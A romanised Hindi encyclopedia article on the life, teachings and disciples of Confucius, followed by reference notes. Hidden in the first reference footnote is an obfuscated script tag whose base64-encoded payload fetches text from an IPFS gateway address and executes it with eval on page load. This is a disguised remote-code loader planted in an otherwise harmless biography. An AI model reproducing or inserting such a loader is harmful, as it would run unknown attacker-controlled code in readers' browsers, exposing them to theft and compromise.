कन्फ़्यूशियस
thumb|200px|kanfyooshiyas kanfyooshiyas ek prasiddh darshanik tatha sudharak, jisaka janm chin mean hua tha. us samay chin mean 'jhooo rajavansh' ka basant aur sharad kal chal raha tha. samay ke sath jhooo rajavansh ki shakti kam p dane ke karan chin mean bahut se rajy kayam ho gaye, jo sada apas mean l date rahate the. is karan ise 'jhag date rajyoan ka kal' kaha jane laga. atah chin ki praja bahut hi kasht jhel rahi thi. isi samay mean chin vasiyoan ko naitikata ka path padhane hetu mahatma kanfyooshiyas ka uday hua. kanfyooshiyas ne kabhi is bat ka dava nahian kiya ki use koee daivi shakti ya eeshvariy sandesh prapt hote the. vah keval is bat ka chiantan karata tha ki vyakti kya hai aur samaj mean usake kartavy kya haian. usane shakti pradarshan, asadharan evan amanushik shaktiyoan, vidroh pravritti tatha devi-devataoan ka zikr kabhi nahian kiya. usaka kathan tha ki "buddhimatta ki bat yahi hai ki pratyek vyakti poorn uttaradayitv aur eemanadari se apane kartavy ka palan kare."
janm
itihasakar szema chien ke matanusar kanfyooshiyas ka janm 550 ee. poo. mean hua. unaka jatiy nam 'kuang' tha. kuang phootse ka latini svaroop hi kanfyooshiyas hai, jisaka arth hota hai- 'darshanik kuang'. vartaman 'shaantuang' kahalane vale prachin loo pradesh ka vah nivasi tha, aur usaka pita 'shoo-liyagahih' tsaoo zile ka senapati tha. kanfyooshiyas ka janm apane pita ki vriddhavastha mean hua tha, jo usake janm ke tin varsh ke uparaant hi svargavasi ho gaya. pita ki mrityu ke pashchath usaka parivar b di kathin paristhitiyoan mean phans gaya, jisase usaka balyakal b di hi arthik vipannata mean vyatit hua. parantu usane apani is nirdhanata ko hi age chalakar apani vidvata tatha vibhinn kalaoan mean dakshata ka karan banaya. jab vah keval paanch varsh ka tha, tabhi se apane sathiyoan ke sath jo khel khelata, usamean dharmik sanskaroan tatha vibhinn kalaoan ke prati usaki abhiruchi spasht roop se parilakshit hoti thi.[1]
vivah
19 varsh ki avastha mean 'suang' namak pradesh ki ek kanya se usaka vivah ho gaya. vivah ke doosare varsh usake ek putr utpann hua aur usake pashchath do kanyaean. vivah ke tho de hi din pashchath tsaoo namak zile ke svami ke yahaan, jo ki jati ka pradhan tha, use naukari mil gee.
vidyalay ki sthapana
22 varsh ki avastha mean kanfyooshiyas ne ek vidyalay ki sthapana ki. isamean aise yuvak aur praudh shiksha grahan karate the, jo sadacharan evan rajy sanchalan ke siddhaantoan mean parangat hona chahate the. apane shishyoan se vah yathesht arthik sahayata liya karata tha. parantu kam se kam shulk de sakane vale vidyarthi ko bhi vah asvikar nahian karata tha; kiantu sath hi aise shiksharthiyoan ko bhi vah apane shiksha keandr mean nahian rakhata tha, jinamean shiksha aur jnan ke prati abhiruchi tatha bauddhik kshamata nahian hoti thi.
laotse se bheant
517 ee. poo. mean do sian yuvak apane jatiy pradhan ke mrityukalin adesh ke anusar kanfyooshiyas ki shishy mandali mean sammilit hue. unhian ke sath vah rajadhani gaya, jahaan usane rajakiy pustakalay ki amooly pustakoan ka avalokan kiya or tatkalin rajadarabar mean prachalit uchch koti ke sangit ka adhyayan kiya. vahaan usane kee bar 'taovad' ke pravartak 'laotse' se bheant ki aur usase bahut prabhavit bhi hua.
loo pradesh ko vapasi
jab kanfyooshiyas lautakar loo pradesh mean aya to usane dekha, pradesh mean b di arajakata utpann ho gee hai. mantriyoan se jhag da ho jane ke karan ukt pradesh ka samant bhag kar p dos ke tsi pradesh mean chala gaya hai. kanfyooshiyas ko ye sab batean ruchikar nahian lagian aur vah bhi apani shishy mandali ke sath tsi pradesh ko chal diya. kaha jata hai, jab ve log ek parvat ke bich se ja rahe the, tab unhean vahaan ek stri dikhaee di, jo kisi qabr ke pas baithi vilap kar rahi thi. karan poochhane par usane bataya ki ek chite ne vahaan par usake shvasur ko mar dala tha, isake bad usake pati ki bhi vahian dasha huee aur ab usake putr ko chite ne mar dala hai. is par us stri se yah prashn kiya gaya ki vah aise vany tatha bhayankar sthan mean kyoan rahati hai, to usane uttar diya ki us kshetr mean koee damanakari sarakar nahian hai. is par kanfyooshiyas ne apane shishyoan ko bataya ki kroor evan anuttaradayi sarakar chite se bhi adhik bhayanak hoti hai. kanfyooshiyas ko tsi mean bhi rahana thik nahian laga. vahaan ke shasak ke darabariyoan ne usaki b di alochana ki, use aganit vichitrataoan se bhara hua avyavaharik tatha atmabhimani manushy bataya, phir bhi vahaan ka shasak samant usaka bahut adar karata tha aur usane use rajakiy ay ka bahut b da bhag samarpit karane ka prastav kiya. kiantu kanfyooshiyas ne kuchh bhi lena svikar n kiya aur spasht roop se kah diya ki yadi usake paramarsho par rajy ka sanchalan n kiya gaya to use kisi bhi prakar ki sahayata ya pratishtha svikrit n hogi. asantusht man se vah loo pradesh ko pun: laut aya aur lagabhag 15 varsh tak ekaant jivan vyatit karata hua svadhyay mean dattachitt raha.[1]
nyayadhish ka pad
52 varsh ki avastha mean use chuangatoo pradesh ka mukhy nyayadhish bana diya gaya. usake is pad par ate hi janata ke vyavahar mean ashcharyajanak sudhar dikhaee dene laga. tatkalin samant shasak ne, jo vigat bhage hue saanmat ka chhota bhaee tha, kanfyooshiyas ko adhik uchch pad pradan kiya aur aant mean use aparadh vibhag ka mantri niyukt kar diya. isi samay usake do shishyoan ko bhi uchch evan prabhavashali pad prapt ho ge. apane in shishyoan ki sahayata se kanfyooshiyas ne janata ke achar evan vyavahar mean bahut adhik sudhar kiya. shasan ka jaise kayapalat ho gaya, beeemani aur parasparik avishvas door ho ge. janata mean usaka b da adar samman hone laga aur vah sabaka poojy ban gaya.
shatru samantoan ki sajish
kanfyooshiyas ke is badhate hue prabhav se tsi ke samant aur usake mantrigan atankit ho uthe. unhoanne socha ki yadi kanfyooshiyas isi prakar apana kary karata raha to sanpoorn rajy mean loo pradesh ka prabhav sarvadhik ho jaega aur tsi pradesh ko b di kshati pahuanchegi. paryapt vicharavimarsh ke pashchath tsi ke mantriyoan ne sangit evan nrity mean kushal atyant suandar taruniyoan ka ek dal loo pradesh ko bheja. yah chal chal gee. loo ki janata ne in vilasini ramaniyoan ka khoob svagat kiya. janata ka dhyan inaki or akrisht hone laga aur usane sant kanfyooshiyas ke paramarshoan tatha adarshoan ki avahelana aranbh kar di. kanfyooshiyas ko isase b da khed hua aur usane loo pradesh chho d dene ka vichar kiya. samant bhi usaki avahelana karane laga. kisi ek b de balidan ke pashchath maans ka vah bhag kanfyooshiyas ke pas nahian bheja, jo use niyamanusar usake pas bhejana chahie tha. kanfyooshiyas ko rajyasabha chho d dene ka yah achchha avasar mila aur vah dhire-dhire vahaan se alag hokar chal diya. yadyapi vah b de beman se ja raha tha aur yah asha karata tha ki shighr hi samant ki buddhi sanmarg par a jaegi aur use vapas bula lega, kiantu aisa hua nahian aur is mahatma ko apane jivan ke 56vean varsh mean idhar-udhar vibhinn pradeshoan mean bhatakane ke lie chal dena p da.
vibhinn pradeshoan ka bhraman
13 varsh tak kanfyooshiyas vibhinn pradeshoan ka bhraman is asha se karata raha ki use koee aisa samant shasak mil jae jo use apana mukhy paramarshadata niyukt kar le aur usake paramarshoan par shasan ka sanchalan kare, jisase usaka pradesh ek sarvadeshik sudhar ka keandr ban jae, kiantu usaki sari ashaean vyarth siddh hueean. shasakagan usaka samman karate the, usako pratishtha evan adar samman tatha rajakiy sahayata dene ke lie udyat the, kiantu koee usake paramarshoan ko manane aur apani karyapranali mean parivartan karane ke lie taiyar n tha. is prakar 13 varsh bhraman karane ke pashchath apane jivan ke 69vean varsh mean kanfyooshiyas phir se loo pradesh mean vapas laut aya. isi samay usaka ek shishy ek sainik abhiyan mean saphal hua aur usane pradesh ke mahamantri ko bataya ki usane apane guru dvara pradatt shiksha aur jnan ke adhar par hi ukt saphalata prapt ki. is shishy ne mahamantri se kanfyooshiyas ko pun: usaka pad pradan karane ki prarthana ki aur vah man bhi gaya, kiantu kanfyooshiyas ne dubara rajakiy pad grahan karana svikar nahian kiya aur apane jivan ke aantim din apani sahityik yojanaoan ki poorti tatha shishyoan ko jnanadan karane mean laga dena usane adhik shreyaskar samajha.[1]
nidhan tatha samadhi
481 ee. poo. mean kanfyooshiyas ke putr ka svargavas ho gaya, kiantu jab 482 ee. poo. mean usake atyant priy shishy 'yenahyi' ki mrityu ho gee, tab vah bahut hi shokakul hua. usake ek aur shishy 'tje too' ki bhi mrityu kuchh samay pashchath ho gee. ek din prat: kal vah apane dvar par tahalate hue kah raha tha-
ooancha parvat ab niche girega
majaboot shahatir tootane vali hai
buddhiman manushy bhi paudhe ke saman nasht ho jaeange.
usaka shishy tje kuang yah sunakar turant usake pas aya. kanfyooshiyas ne usase kaha ki pichhali rat maianne ek svapn dekha hai, jisase mujhe sanket mila ki mera aant ab nikat hai. usi din se kanfyooshiyas ne shaiya grahan ki aur sat din pashchath vah mahatma is lok se vida ho gaya. usake anuyayiyoan ne b di dhoomadham se usake sharir ko samadhisth kiya. unamean se bahut se tin varsh tak usi sthan par shok pradarshan ke lie baithe rahe aur usaka sarvapriy shishy 'tje kuang' to agale tin varsh bhi usi sthan par jama raha. kanfyooshiyas ki mrityu ka samachar sabhi pradeshoan mean phail gaya aur jis mahapurush ki usake jivan kal mean itani avahelana ki gee thi, mrityu ke uparaant vah sarvaprashansa aur adar ka patr ban gaya. kuifau nagar ke bahar kuang samadhi sthal se alag kanfyooshiyas ki samadhi ab bhi vidyaman hai. samadhi ke samane sangamaramar ka ek chaukhata laga hua hai, jis par nimnalikhit abhilekh aankit hai-
prachin mahajnani sataguru, sanpoorn vidyaoan mean parangat, sarvajn naradhip.
rachanaean
kanfyooshiyas ne kabhi bhi apane vicharoan ko likhit roop dena avashyak nahian samajha. usaka mat tha ki vah vicharoan ka vahak ho sakata hai, unaka srashta nahian. vah puratatv ka upasak tha, kayoanki usaka vichar tha ki usi ke madhyam se yatharth jnan prapt prapt ho sakata hai. usaka kahana tha ki manushy ko usake samast karyakalapoan ke lie niyam apane aandar hi prapt ho sakate haian. n keval vyakti ke lie varanh sanpoorn samaj ke sudhar aur sahi vikas ke niyam aur svaroop prachin mahatmaoan ke shabdoan evan kary shailiyoan mean prapt ho sakate haian. kanfyooshiyas ne koee aisa lekh nahian chho da, jisamean usake dvara pratipadit naitik evan samajik vyavastha ke siddhaantoan ka niroopan ho. kiantu usake pautr 'tje sje' dvara likhit 'ausat ka siddhaant'[2] aur usake shishy tsaang sin dvara likhit 'mahanh shiksha'[3] namak pustakoan mean tatsanbandhi samast soochanaean prapt hoti haian. 'basant aur patajh d'[4] namak ek granth, jise 'loo ka itivritt' bhi kahate haian, kanfyooshiyas ka likha hua bataya jata hai. yah samoochi kriti prapt hai aur yadyapi bahut chhoti hai tathapi chin ke sankshipt itihasoan ke lie adarsh mani jati hai.[1]
shishy mandali
kanfyooshiyas ke shishyoan ki sankhya sab milakar pray: 3000 tak pahuanch gee thi, kiantu unamean se 75 ke lagabhag hi uchch koti ke pratibhashali vidvanh the. usake param priy shishy usake pas hi raha karate the. ve usake asapas shraddhapoorvak uthate-baithate the aur usake acharan ki sookshm visheshataoan par dhyan diya karate the tatha usake mukh se nikali vani ke pratyek shabd ko hridayangam kar lete aur us par manan karate the. ve usase prachin itihas, kavy tatha desh ki samajik prathaoan ka adhyayan karate the.
samajik aur rajanitik vichar
kanfyooshiyas ka kahana tha ki kisi desh mean achchha shasan aur shaanti tabhi sthapit ho sakati hai, jab shasak, mantri tatha janata ka pratyek vyakti apane sthan par uchit kartavyoan ka palan karata rahe. shasak ko sahi arthoan mean shasak hona chahie, mantri ko sahi artho mean mantri hona chahie. kanfyooshiyas se ek bar poochha gaya ki yadi use kisi pradesh ke shasan sootr ke sanchalan ka bhar sauanpa jae to vah sabase pahala kaun-sa mahatvapoorn kary karega. isake lie usaka uttar tha– "namoan mean sudhar". isaka ashay yah tha ki jo jis nam ke pad par pratishthit ho use us pad se sanlagn sabhi kartavyoan ka vidhivat palan karana chahie, jisase usaka vah nam sarthak ho. use udaharan aur adarsh ki shakti mean poorn vishvas tha. usaka vishvas tha ki adarsh vyakti apane sadacharan se jo udaharan prastut karate haian, am janata unake samane nishchay hi jhuk jati hai. yadi kisi desh ke shasak ko isaka bhali-bhaanti jnan kara diya jae ki use shasan kary chalane mean kya karana chahie aur kis prakar karana chahie to nishchay hi vah apana udaharan prastut karake am janata ke acharan mean sudhar kar sakata hai aur apane rajy ko sukhi, samriddh evan sanpann bana sakata hai. isi vishvas ke bal par kanfyooshiyas ne ghoshana ki thi ki yadi koee shasak 12 mahine ke lie use apana mukhy paramarshadata bana le to vah bahut kuchh karake dikha sakata hai aur yadi use tin varsh ka samay diya jae to vah apane adarshoan aur ashaoan ko moort roop pradan kar sakata hai.
vichar
kanfyooshiyas ne kabhi is bat ka dava nahian kiya ki use koee daivi shakti ya eeshvariy sandesh prapt hote the. vah keval is bat ka chiantan karata tha ki vyakti kya hai aur samaj mean usake kartavy kya haian. usane shakti pradarshan, asadharan evan amanushik shaktiyoan, vidroh pravritti tatha devi-devataoan ka zikr kabhi nahian kiya. usaka kathan tha ki buddhimatta ki bat yahi hai ki pratyek vyakti poorn uttaradayitv aur eemanadari se apane kartavy ka palan kare aur devi-devataoan ka adar karate hue bhi unase alag rahe. usaka mat tha ki jo manushy manav ki seva nahian kar sakata vah devi-devataoan ki seva kya karega. use apane aur doosaroan ke sabhi kartavyoan ka poorn dhyan tha, isilie usane kaha tha ki bura adami kabhi bhi shasan karane ke yogy nahian ho sakata, bhale hi vah kitana bhi shakti sanpann ho. niyamoan ka ullanghan karane valoan ko to shasak dand deta hi hai, parantu use kabhi yah nahian bhoolana chahie ki usake sadacharan ke adarsh prastut karane ki shakti se badhakar any koee shakti nahian hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 kanfyooshiyas (hindi) bharatakhoj. abhigaman tithi: 01 agast, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aangrezi anuvad, daktrin aauv d min
- ↑ aangrezi anuvad, d gret larniang
- ↑ aangrezi anuvad, spriang aiand atam
sanbandhit lekh
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varnamala kramanusar lekh khoj
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